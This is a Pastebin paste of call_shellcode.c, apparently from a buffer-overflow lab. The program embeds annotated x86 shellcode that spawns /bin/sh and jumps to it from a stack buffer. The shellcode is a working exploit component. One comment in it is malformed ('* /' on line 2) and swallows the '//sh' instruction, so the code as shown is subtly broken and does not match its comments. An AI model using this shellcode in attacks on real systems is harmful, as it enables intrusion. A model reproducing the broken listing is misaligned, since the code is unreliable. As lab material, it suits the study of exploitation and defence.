Advertisement
Guest User

lol

a guest
Apr 23rd, 2018
79
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 0.81 KB | None | 0 0
  1. /*call_shellcode.c*/
  2. /*A program that creates a file containing code for launching shell*/
  3. #include <stdlib.h>
  4. #include <stdio.h>
  5. #include <string.h>
  6. const char code[] =
  7. "\x31\xc0"         /* Line 1:  xorl    %eax,%eax*/
  8. "\x50"             /* Line 2:  pushl   %eax* /
  9. "\x68""//sh"       /*Line 3:  pushl   $0x68732f2f*/
  10. "\x68""/bin"       /*Line 4:  pushl   $0x6e69622f*/
  11. "\x89\xe3"         /*Line 5:  movl    %esp,%ebx*/
  12. "\x50"             /*Line 6:  pushl   %eax*/
  13. "\x53"             /*Line 7:  pushl   %ebx*/
  14. "\x89\xe1"         /*Line 8:  movl    %esp,%ecx*/
  15. "\x99"             /*Line 9:  cdq*/
  16. "\xb0\x0b"         /*Line 10: movb    $0x0b,%al*/
  17. "\xcd\x80"         /*Line 11: int     $0x80*/
  18. ;
  19.  
  20. int main(int argc, char**argv)
  21. {
  22.     char buf[sizeof(code)];
  23.     strcpy(buf, code);
  24.     ((void(*)( ))buf)( );
  25. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement